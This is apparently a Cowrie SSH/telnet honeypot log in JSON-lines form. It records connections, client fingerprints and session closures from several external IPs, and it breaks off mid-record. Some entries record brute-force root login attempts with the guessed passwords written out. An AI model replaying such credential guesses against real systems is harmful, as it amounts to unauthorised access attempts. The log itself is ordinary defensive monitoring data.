{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53764,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f23ca29dfa4","protocol":"telnet","message":"New connection: 50.6.8.71:53764 (10.17.0.5:23) [session: 5f23ca29dfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:22.611588Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":35458,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd6e6c396331","protocol":"ssh","message":"New connection: 176.32.39.21:35458 (10.17.0.5:22) [session: cd6e6c396331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:24.631644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:24.636832Z","src_ip":"176.32.39.21","session":"cd6e6c396331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:24.762224Z","src_ip":"176.32.39.21","session":"cd6e6c396331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:25.161362Z","src_ip":"176.32.39.21","session":"cd6e6c396331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.228252410888672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:25.577765Z","src_ip":"50.6.8.71","session":"7a09911dec7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:26.289383Z","src_ip":"176.32.39.21","session":"cd6e6c396331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40694,"dst_ip":"10.17.0.5","dst_port":23,"session":"b953474fbb00","protocol":"telnet","message":"New connection: 50.6.8.71:40694 (10.17.0.5:23) [session: b953474fbb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:27.076745Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40704,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d348e0c2d3f","protocol":"telnet","message":"New connection: 50.6.8.71:40704 (10.17.0.5:23) [session: 0d348e0c2d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:29.821084Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ed10aaeed3","protocol":"telnet","message":"New connection: 50.6.8.71:40714 (10.17.0.5:23) [session: 90ed10aaeed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:33.315214Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59982,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c511689da8","protocol":"telnet","message":"New connection: 50.6.8.71:59982 (10.17.0.5:23) [session: 10c511689da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:41.939139Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59994,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd067f3fa0f","protocol":"telnet","message":"New connection: 50.6.8.71:59994 (10.17.0.5:23) [session: cdd067f3fa0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:42.533626Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d975752c78","protocol":"telnet","message":"New connection: 50.6.8.71:60002 (10.17.0.5:23) [session: 92d975752c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:44.349246Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60006,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd157ef948ac","protocol":"telnet","message":"New connection: 50.6.8.71:60006 (10.17.0.5:23) [session: cd157ef948ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:44.482865Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"35a8f2113303","protocol":"telnet","message":"New connection: 50.6.8.71:34692 (10.17.0.5:23) [session: 35a8f2113303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:45.772532Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34708,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7da5c272b4","protocol":"telnet","message":"New connection: 50.6.8.71:34708 (10.17.0.5:23) [session: 8e7da5c272b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:47.755436Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34714,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9310292aa5","protocol":"telnet","message":"New connection: 50.6.8.71:34714 (10.17.0.5:23) [session: fa9310292aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:48.160001Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d46959beffa","protocol":"telnet","message":"New connection: 50.6.8.71:34706 (10.17.0.5:23) [session: 5d46959beffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:48.473854Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"721595293919","protocol":"telnet","message":"New connection: 50.6.8.71:59208 (10.17.0.5:23) [session: 721595293919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:29:58.265538Z"}
{"eventid":"cowrie.session.closed","duration":37.94263815879822,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:00.554101Z","src_ip":"50.6.8.71","session":"5f23ca29dfa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":52570,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff05845387e","protocol":"ssh","message":"New connection: 94.159.98.239:52570 (10.17.0.5:22) [session: bff05845387e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:00.683285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:00.776418Z","src_ip":"94.159.98.239","session":"bff05845387e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:00.873559Z","src_ip":"94.159.98.239","session":"bff05845387e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:01.568080Z","src_ip":"94.159.98.239","session":"bff05845387e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.90537142753601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:01.726351Z","src_ip":"50.6.8.71","session":"0d348e0c2d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:02.697654Z","src_ip":"94.159.98.239","session":"bff05845387e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.561036348342896,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:04.637673Z","src_ip":"50.6.8.71","session":"b953474fbb00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.453617811203,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:05.768726Z","src_ip":"50.6.8.71","session":"90ed10aaeed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38054,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b62b47a7df","protocol":"telnet","message":"New connection: 50.6.8.71:38054 (10.17.0.5:23) [session: b8b62b47a7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:07.061420Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"25249468d11f","protocol":"telnet","message":"New connection: 50.6.8.71:38062 (10.17.0.5:23) [session: 25249468d11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:08.089226Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":42474,"dst_ip":"159.203.135.109","dst_port":22,"session":"802112f664b9","protocol":"ssh","message":"New connection: 200.77.172.159:42474 (159.203.135.109:22) [session: 802112f664b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:08.438141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:08.457041Z","src_ip":"200.77.172.159","session":"802112f664b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:08.533711Z","src_ip":"200.77.172.159","session":"802112f664b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio","message":"login attempt [root/lucio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:08.867433Z","src_ip":"200.77.172.159","session":"802112f664b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:09.949909Z","src_ip":"200.77.172.159","session":"802112f664b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38082,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c359e199b55","protocol":"telnet","message":"New connection: 50.6.8.71:38082 (10.17.0.5:23) [session: 5c359e199b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:09.962024Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":54420,"dst_ip":"10.17.0.5","dst_port":22,"session":"881594e96103","protocol":"ssh","message":"New connection: 62.133.63.178:54420 (10.17.0.5:22) [session: 881594e96103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:10.673486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:10.681666Z","src_ip":"62.133.63.178","session":"881594e96103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:10.806125Z","src_ip":"62.133.63.178","session":"881594e96103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:11.180295Z","src_ip":"62.133.63.178","session":"881594e96103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fb19002318","protocol":"telnet","message":"New connection: 50.6.8.71:38086 (10.17.0.5:23) [session: d4fb19002318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:11.380279Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38098,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd9b170d09f","protocol":"telnet","message":"New connection: 50.6.8.71:38098 (10.17.0.5:23) [session: 3dd9b170d09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:11.743065Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:12.306896Z","src_ip":"62.133.63.178","session":"881594e96103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014111995697,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:12.653708Z","src_ip":"181.94.225.234","session":"9d21869cdf3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":21591,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a82da067599","protocol":"telnet","message":"New connection: 181.94.225.234:21591 (159.203.135.109:23) [session: 9a82da067599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:13.008895Z"}
{"eventid":"cowrie.session.closed","duration":120.00523090362549,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:13.631233Z","src_ip":"181.94.225.234","session":"12b2c91fc08d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.700296878814697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:13.639318Z","src_ip":"50.6.8.71","session":"10c511689da8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22061014175415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:15.569746Z","src_ip":"50.6.8.71","session":"92d975752c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38114,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9abb81bca83","protocol":"telnet","message":"New connection: 50.6.8.71:38114 (10.17.0.5:23) [session: b9abb81bca83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:17.020318Z"}
{"eventid":"cowrie.session.closed","duration":32.98182678222656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:18.754291Z","src_ip":"50.6.8.71","session":"35a8f2113303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408880472183228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:19.568804Z","src_ip":"50.6.8.71","session":"fa9310292aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46998071670532,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:20.225281Z","src_ip":"50.6.8.71","session":"8e7da5c272b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.23804426193237,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:20.720813Z","src_ip":"50.6.8.71","session":"cd157ef948ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e8647c124f","protocol":"telnet","message":"New connection: 50.6.8.71:37488 (10.17.0.5:23) [session: e1e8647c124f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:21.485134Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.108.178","src_port":13836,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c2de510dd01","protocol":"ssh","message":"New connection: 23.237.108.178:13836 (10.17.0.5:22) [session: 2c2de510dd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:22.984694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:22.989133Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 